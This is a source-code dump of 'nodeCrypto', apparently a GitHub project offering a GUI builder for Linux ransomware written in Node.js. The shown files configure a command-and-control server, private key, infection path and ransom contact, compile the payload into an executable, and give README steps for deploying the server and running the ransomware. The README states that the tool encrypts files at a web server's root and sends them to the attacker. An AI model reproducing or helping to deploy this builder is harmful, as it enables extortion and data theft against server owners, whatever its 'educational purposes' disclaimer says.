├── package.json ├── renderer.js ├── main.js ├── README.md └── index.html /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nodeCrypto", 3 | "version": "2.0.0", 4 | "description": "", 5 | "main": "main.js", 6 | "scripts": { 7 | "start": "electron . --disable-gpu" 8 | }, 9 | "repository": "https://github.com/atmoner/nodeCrypto", 10 | "keywords": [ 11 | "ransomware", 12 | "nodejs", 13 | "crypto", 14 | "gui" 15 | ], 16 | "author": "atmon3r", 17 | "license": "CC0-1.0", 18 | "dependencies": { 19 | "nexe": "^3.3.2", 20 | "write-json": "^3.0.1", 21 | "electron": "^7.1.4", 22 | "jquery": "^3.4.1", 23 | "system-commands": "^1.1.7" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /renderer.js: -------------------------------------------------------------------------------- 1 | // This file is required by the index.html file and will 2 | // be executed in the renderer process for that window. 3 | // No Node.js APIs are available in this process because 4 | // `nodeIntegration` is turned off. Use `preload.js` to 5 | // selectively enable features needed in the rendering 6 | // process. 7 | var $ = require("jquery"); 8 | 9 | $("#runCompile").click(function(){ 10 | /* const system = require('system-commands') 11 | 12 | system('node compil.js').then(output => { 13 | console.log(output); 14 | return; 15 | }).catch(error => { 16 | console.error(error) 17 | }) */ 18 | 19 | var writeJson = require('write-json'); 20 | writeJson.sync('nodecrypto-config.js', {privateKey: $("#PrivateKey").val(), serverCC: $("#serverCC").val(), websitePath: $("#infectPath").val(), openReward: $("#openReward").val(), rewardUrl: $("#rewardUrl").val(), contactMail: $("#contactMail").val()}); 21 | 22 | const { compile } = require('nexe') 23 | 24 | var run = compile({ 25 | input: 'sources/index.js', 26 | output: 'sources/output', 27 | resources: "nodecrypto-config.js", 28 | loglevel: 'verbose' 29 | }).then(() => { 30 | console.log('success') 31 | }) 32 | console.log(run) 33 | }); 34 | -------------------------------------------------------------------------------- /main.js: -------------------------------------------------------------------------------- 1 | // Modules to control application life and create native browser window 2 | const {app, BrowserWindow} = require('electron') 3 | const path = require('path') 4 | 5 | // Keep a global reference of the window object, if you don't, the window will 6 | // be closed automatically when the JavaScript object is garbage collected. 7 | let mainWindow 8 | 9 | function createWindow () { 10 | // Create the browser window. 11 | mainWindow = new BrowserWindow({ 12 | width: 800, 13 | height: 600, 14 | webPreferences: { 15 | nodeIntegration: true 16 | } 17 | }) 18 | 19 | // and load the index.html of the app. 20 | mainWindow.loadFile('index.html') 21 | 22 | // Open the DevTools. 23 | // mainWindow.webContents.openDevTools() 24 | //mainWindow.autoHideMenuBar = true; 25 | // Emitted when the window is closed. 26 | mainWindow.on('closed', function () { 27 | // Dereference the window object, usually you would store windows 28 | // in an array if your app supports multi windows, this is the time 29 | // when you should delete the corresponding element. 30 | mainWindow = null 31 | }) 32 | } 33 | 34 | // This method will be called when Electron has finished 35 | // initialization and is ready to create browser windows. 36 | // Some APIs can only be used after this event occurs. 37 | app.on('ready', createWindow) 38 | 39 | // Quit when all windows are closed. 40 | app.on('window-all-closed', function () { 41 | // On macOS it is common for applications and their menu bar 42 | // to stay active until the user quits explicitly with Cmd + Q 43 | if (process.platform !== 'darwin') app.quit() 44 | }) 45 | 46 | app.on('activate', function () { 47 | // On macOS it's common to re-create a window in the app when the 48 | // dock icon is clicked and there are no other windows open. 49 | if (mainWindow === null) createWindow() 50 | }) 51 | 52 | // In this file you can include the rest of your app's specific main process 53 | // code. You can also put them in separate files and require them here. 54 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![nodeCrypto logo](https://www.storix.com/wp-content/uploads/2017/06/encryption-300x260.png) 2 | ============= 3 | 4 | * * * 5 | 6 | * [What is nodeCrypto?](#what-is-nodecrypto "What is nodeCrypto?") 7 | * [Demo video](#demo-video "Demo video") 8 | * [Install server](#install-server "Install server") 9 | * [Install and run](#install-and-run "Install and run") 10 | * [Screenshot](#screenshot "Screenshot") 11 | 12 | 13 | 14 | 15 | 16 | ### What is nodeCrypto? ### 17 | nodeCrypt is a linux Ransomware written in NodeJs that encrypt predefined files. 18 | This project was created for educational purposes, you are the sole responsible for the use of nodeCrypto. 19 | 20 | ### Demo video ### 21 | [![Demo video](https://img.youtube.com/vi/hUITpli8mbQ/0.jpg)](https://www.youtube.com/watch?v=hUITpli8mbQ) 22 | 23 | ### Install server ### 24 | Upload all file of [server/](https://github.com/atmoner/nodeCrypto/tree/master/server) folder on your webserver. 25 | Create a sql database and import [sql/nodeCrypto.sql](https://github.com/atmoner/nodeCrypto/blob/master/sql/nodeCrypto.sql) 26 | Edit [server/libs/db.php](https://github.com/atmoner/nodeCrypto/blob/master/server/libs/db.php) and add your SQL ID. 27 | 28 | ### Install and run ### 29 | `git clone https://github.com/atmoner/nodeCrypto.git` 30 | `cd nodeCrypto && npm install` 31 | `cd sources && npm install` 32 | `cd .. && npm start` 33 | 34 | Once your configuration is complete, run compile! 35 | You can start the ransomware. 36 | 37 | `cd sources && ./output` 38 | 39 | The files at the root of the web server will encrypt and send to the server. 40 | 41 | ### Screenshot ### 42 | ![Compil](https://i.imgur.com/s355bWq.png) 43 | ![Infection](https://i.imgur.com/eimEruy.png) 44 | ![Infection](https://i.imgur.com/ZHUSlLF.png) 45 | 46 | ### To Do ### 47 | - [x] GUI exe creator 48 | - [x] Edit basic variable 49 | - [ ] Export cross-plateform 50 | - [x] Client (victim) 51 | - [x] Encrypt webserver 52 | - [x] Use private key for encryption 53 | - [ ] Adapt SSL 54 | - [x] Server 55 | - [x] Recover data (user + encrypted file) 56 | - [ ] Format the database 57 | - [ ] Make GUI for webserver 58 | - [x] Make an executable to decrypt the files (Only on request! Contact me) 59 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | NodeCrypto 2.0 7 | 8 | 9 | 10 | 11 | 12 | 13 |

14 |

NodeCrypto!

15 | 16 | 17 | 18 |
19 |
20 | Victim options 21 |
22 |
23 | 24 | 25 |
26 |
27 | 28 | 29 |
30 |
31 | 32 | 33 |
34 | 35 | 36 |
37 |
38 |
Attacker options 39 |
40 |
41 | 42 | 43 |
44 |
45 | 46 | 50 |
51 |
52 | 53 | 54 |
55 | 56 | 57 | 58 |
59 |
60 | 61 |
62 | 63 | 64 | --------------------------------------------------------------------------------